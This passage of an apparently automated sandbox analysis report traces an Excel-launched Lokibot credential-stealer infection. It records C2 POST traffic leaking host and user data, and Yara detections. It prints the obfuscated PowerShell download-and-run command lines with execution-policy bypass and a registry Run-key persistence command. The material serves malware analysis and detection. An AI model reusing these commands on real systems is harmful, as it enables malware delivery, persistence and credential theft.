Jan 5, 2021 19:06:45.699744940 CET	1270	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:45.789961100 CET	1270	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:44 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.22	49265	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:45.996354103 CET	1271	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:46.074238062 CET	1271	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:46.162508011 CET	1271	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:45 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.22	49266	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:46.366772890 CET	1272	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:46.433970928 CET	1272	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:46.523350954 CET	1273	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:45 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jan 5, 2021 19:05:20.849750996 CET	104.22.0.232	443	192.168.2.22	49165	CN=www.cutt.ly CN=RapidSSL TLS RSA CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=RapidSSL TLS RSA CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Sat Feb 08 01:00:00 CET 2020 Thu Nov 02 13:24:33 CET 2017	Thu Apr 08 14:00:00 CEST 2021 Tue Nov 02 13:24:33 CET 2027	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
Jan 5, 2021 19:05:20.849750996 CET	104.22.0.232	443	192.168.2.22	49165	CN=RapidSSL TLS RSA CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Nov 02 13:24:33 CET 2017	Tue Nov 02 13:24:33 CET 2027		05af1f5ca1b87cc9cc9b25185115607d

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2260 Parent PID: 584

General

Start time:	19:04:38
Start date:	05/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f7f0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 2292 Parent PID: 2260

General

Start time:	19:04:40
Start date:	05/01/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')
Imagebase:	0x4aa20000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 2372 Parent PID: 2260

General

Start time:	19:04:40
Start date:	05/01/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'
Imagebase:	0x4aa20000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 2468 Parent PID: 2260

General

Start time:	19:04:40
Start date:	05/01/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')
Imagebase:	0x4aa20000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: powershell.exe PID: 1324 Parent PID: 2292

General

Start time:	19:04:41
Start date:	05/01/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')
Imagebase:	0x13fe30000
File size:	473600 bytes
MD5 hash:	852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 2492 Parent PID: 2372

General

Start time:	19:04:41
Start date:	05/01/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'
Imagebase:	0x13fe30000
File size:	473600 bytes
MD5 hash:	852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 2324 Parent PID: 2468

General

Start time:	19:04:41
Start date:	05/01/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')
Imagebase:	0x13fe30000
File size:	473600 bytes
MD5 hash:	852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: 12.exe PID: 2800 Parent PID: 2324

General

Start time:	19:05:08
Start date:	05/01/2021
Path:	C:\Users\user\AppData\Local\Temp\12.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\12.exe
Imagebase:	0x12a0000
File size:	938440 bytes
MD5 hash:	1D11ABB9DAC9B15823D1BCAD2B8B3675
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 2244 Parent PID: 2800

General

Start time:	19:05:11
Start date:	05/01/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'cmd.exe' /c REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe'
Imagebase:	0x4a4c0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: reg.exe PID: 1664 Parent PID: 2244

General

Start time:	19:05:11
Start date:	05/01/2021
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe'
Imagebase:	0x8f0000
File size:	62464 bytes
MD5 hash:	D69A9ABBB0D795F21995C2F48C1EB560
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: ntrwe.exe PID: 1916 Parent PID: 2800

General

Start time:	19:05:22
Start date:	05/01/2021
Path:	C:\Users\user\ntrwe.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\ntrwe.exe'
Imagebase:	0xe90000
File size:	938440 bytes
MD5 hash:	1D11ABB9DAC9B15823D1BCAD2B8B3675
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2193389507.0000000002792000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000F.00000002.2193389507.0000000002792000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000F.00000002.2193389507.0000000002792000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: ntrwe.exe PID: 2996 Parent PID: 1388

General

Start time:	19:05:23
Start date:	05/01/2021
Path:	C:\Users\user\ntrwe.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\ntrwe.exe'
Imagebase:	0xe90000
File size:	938440 bytes
MD5 hash:	1D11ABB9DAC9B15823D1BCAD2B8B3675
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: RegAsm.exe PID: 2192 Parent PID: 1916

General

Start time:	19:05:24
Start date:	05/01/2021
Path:	C:\Users\user\AppData\Local\Temp\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RegAsm.exe
Imagebase:	0x250000
File size:	64672 bytes
MD5 hash:	ADF76F395D5A0ECBBF005390B73C3FD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 0%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: ntrwe.exe PID: 2292 Parent PID: 1388

General

Start time:	19:05:31
Start date:	05/01/2021
Path:	C:\Users\user\ntrwe.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\ntrwe.exe'
Imagebase:	0xe90000
File size:	938440 bytes
MD5 hash:	1D11ABB9DAC9B15823D1BCAD2B8B3675
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.2212693514.0000000002790000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000012.00000002.2212693514.0000000002790000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000012.00000002.2212693514.0000000002790000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: RegAsm.exe PID: 2844 Parent PID: 2292

General

Start time:	19:05:33
Start date:	05/01/2021
Path:	C:\Users\user\AppData\Local\Temp\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RegAsm.exe
Imagebase:	0x1230000
File size:	64672 bytes
MD5 hash:	ADF76F395D5A0ECBBF005390B73C3FD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: powershell.exe PID: 1324 Parent PID: 2292 powershell.exeCOMMON

Executed Functions

Function 000007FF0028089A, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2108763846.000007FF00280000.00000040.00000001.sdmp, Offset: 000007FF00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff00280000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6525962c59d0852aa003f01279bcb25d2274035e8d4a888a1eb6a8af7a03c5c0
Instruction ID: abd589814308dcc93c389d3395b8228bac3714ff962a6768df6893ae9e6d0e8e
Opcode Fuzzy Hash: 6525962c59d0852aa003f01279bcb25d2274035e8d4a888a1eb6a8af7a03c5c0
Instruction Fuzzy Hash: C3E02011719D0B0FFBD0666C684B7B473C1E754313F50007AE80DC2292DD69D98543C1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 12.exe PID: 2800 Parent PID: 2324 12.exeCOMMON

Execution Graph

Execution Coverage:	28.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	19.8%
Total number of Nodes:	91
Total number of Limit Nodes:	8

Executed Functions

Function 003169B0, Relevance: 4.7, Strings: 3, Instructions: 980COMMON

Download Yara Rule

Strings

<, xrefs: 00316BDC
ntin, xrefs: 0031741F
(, xrefs: 00317046

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID: ($<$ntin
API String ID: 0-2777557274
Opcode ID: 36096c04db626cd8ff4fda5c6d02d8246d4e37411e8d86466ec958a19983ec0b
Instruction ID: 70a618661445d83e748abc9b39c35aeb19bcc6c7b181f71689e1b5d5ccd93aaa
Opcode Fuzzy Hash: 36096c04db626cd8ff4fda5c6d02d8246d4e37411e8d86466ec958a19983ec0b
Instruction Fuzzy Hash: AFA2C674E042198FDB19CF99C981ADDBBF2BF89304F2581A9D508AB355D730AD82CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00318240, Relevance: 3.3, Strings: 2, Instructions: 824
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fCk, xrefs: 00318B94
fCk, xrefs: 00318A56

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID: fCk$fCk
API String ID: 0-672950724
Opcode ID: 675b7867e00c40b6ad68f5e1809371da2d3b5f413c54bd3c183a485673dc316a
Instruction ID: caa75ef8f699b5a448576fabba92a82a6f8700b3820d72f9b039810a848c2003
Opcode Fuzzy Hash: 675b7867e00c40b6ad68f5e1809371da2d3b5f413c54bd3c183a485673dc316a
Instruction Fuzzy Hash: F332C174901228CFCB2ADF75D8587ADBBB2BF49305F1085EAD409A7394DB355A82CF50

Uniqueness

Uniqueness Score: -1.00%

Function 003130D1, Relevance: 3.2, Strings: 2, Instructions: 652COMMON

Download Yara Rule

Strings

<, xrefs: 00313205
@, xrefs: 003139E5

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID: <$@
API String ID: 0-1426351568
Opcode ID: 14428071a2858014ac1e4e6a821c15700aa2849711fe66e5b4d13fe651877cb0
